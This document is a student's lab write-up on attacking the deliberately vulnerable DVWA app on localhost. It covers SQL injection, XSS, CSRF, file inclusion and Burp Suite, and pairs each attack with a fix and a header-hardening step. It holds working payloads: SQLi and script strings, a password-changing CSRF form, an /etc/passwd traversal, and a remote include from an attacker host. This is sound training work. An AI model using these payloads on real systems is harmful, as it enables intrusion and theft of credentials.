DVWA Lab — Notes (Task 3: concise, per-vulnerability summary)

Author: Pritish Borkar
Target: DVWA — http://127.0.0.1/DVWA/ (Security = **Low**)
Environment: Local lab — Kali Linux (attacker), DVWA on Apache/PHP/MySQL (target).
Date: 29/10/2025

General

- Lab only — do not run these attacks against systems you don't own or have explicit permission to test.
- Evidence naming (use these exact names for screenshots / output files): see each section below.

1 — SQL Injection (SQLi)

Objective: bypass SQL WHERE clause to leak user records.
Steps (exact):

1. DVWA → SQL Injection (set Security = Low).
2. In *User ID* field paste, then Submit:
   ' OR '1'='1' --
   (if numeric field: 1 OR 1=1)
   Observed: page returned multiple user rows (usernames / password hashes).
   Evidence: s1_sqli_before.png, s1_sqli_after.png.
   Fix (copy-ready):

```
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);
```

Also validate types, use least-privilege DB user, log suspicious queries.

2 — Cross-Site Scripting (XSS)

2A Reflected XSS

Objective: show input is reflected without encoding.
Steps: DVWA → XSS (Reflected) → enter:

```
<script>alert('Hacked');</script>
```

Observed: alert popup (or injected <script> in DOM).
Evidence: s2a_xss_reflected.png
Fix: output-encode: htmlspecialchars($input, ENT_QUOTES, 'UTF-8'); add CSP.

2B Stored XSS

Objective: persistent script stored in DB and executed on page load.
Steps: DVWA → XSS (Stored) → post same payload as comment → reload.
Observed: alert executed every page load.
Evidence: s2b_xss_stored.png
Fix: sanitize on output, CSP, input validation, HTTPOnly cookies.

3 — CSRF (Cross-Site Request Forgery)

Objective: change a victim's password via a cross-site request.
Steps (exact):

1. Inspect DVWA CSRF form URL & method.
2. Create attacker HTML (action = exact DVWA URL; method match GET/POST) with hidden fields:

   <input name="password_new" value="hacked123">

   <input name="password_conf" value="hacked123">

3. Host with python3 -m http.server 8000. Open http://127.0.0.1:8000/csrf_attack.html **in same browser session logged into DVWA**.
   Observed: password changed silently.
   Evidence: s3_csrf_attack_open.png, s3_csrf_after.png.
   Fix: include per-form CSRF token (server validates), use SameSite cookies.

4 — File Inclusion (LFI / RFI)

LFI

Objective: read local filesystem via include parameter.
Steps: DVWA → File Inclusion → set ?page=../../../../etc/passwd → Submit.
Observed: /etc/passwd content displayed.
Evidence: s4_lfi_passwd.png
Fix: whitelist pages, use realpath() checks, disable allow_url_include, restrict file permissions.

RFI (if server allows)

Steps: host malicious.txt with python3 -m http.server and set ?page=http://<attacker-ip>:8000/malicious.txt.
Observed: remote content included (if allowed).
Evidence: s4_rfi_remote.png (if performed)
Fix: same as LFI + disable remote includes.

5 — Burp Suite (Intercept / Repeater / Intruder)

Objective: intercept/modify requests and fuzz parameters.
Setup:

- Burp listener: 127.0.0.1:8080.
- Browser proxy → 127.0.0.1:8080. (For localhost testing in Firefox, set network.proxy.allow_hijacking_localhost=true.)
  Flow (exact):

1. Burp Proxy → Intercept ON.
2. Capture DVWA login POST (username=admin&password=password).
   Evidence: s5_burp_intercept.png.
3. Send to Repeater → modify body (e.g., password=' OR '1'='1' --) → Send → examine response.
   Evidence: s5_burp_repeater.png.
4. Send to Intruder → set password field as payload position → load small wordlist (e.g., password, admin123, letmein, 123456, hacked123) → Start. Look for differing response lengths/status for success inference.
   Evidence: s5_burp_intruder.png.
   Fix / Mitigation: implement rate-limiting, account lockout, MFA; sanitize server-side.

6 — Web Security Headers

Objective: identify missing headers and add them in Apache to improve security.
Check (before):

```
curl -I http://127.0.0.1/DVWA/ > s6_headers_curl_before.txt
```

Add (Apache):
Edit /etc/apache2/conf-enabled/security.conf and add:

```
<IfModule mod_headers.c>
Header set X-Frame-Options "DENY"
Header set X-XSS-Protection "1; mode=block"
Header set X-Content-Type-Options "nosniff"
Header set Content-Security-Policy "default-src 'self'; script-src 'self'"
Header set Referrer-Policy "no-referrer-when-downgrade"
</IfModule>
```

Enable headers & restart:

```
sudo a2enmod headers
sudo systemctl restart apache2
```

Check (after):

```
curl -I http://127.0.0.1/DVWA/ > s6_headers_curl_after.txt
```

Note: add HSTS only after enabling HTTPS.

One-line summary per vuln (for quick paste)

- SQLi: ' OR '1'='1' -- → returned all users → fix: prepared statements.
- XSS (reflected): <script>alert('Hacked')</script> → executed → fix: output encode + CSP.
- XSS (stored): posted script in comments → persisted → fix: sanitize/encode.
- CSRF: attacker form auto-submitted → password changed → fix: CSRF token + SameSite.
- LFI: ?page=../../../../etc/passwd → file echoed → fix: whitelist includes.
- Burp: intercepted login POST, modified and fuzzed parameters → demonstrated tampering → fix: harden auth.
- Headers: added X-Frame-Options, X-XSS-Protection, X-Content-Type-Options, CSP → improved security.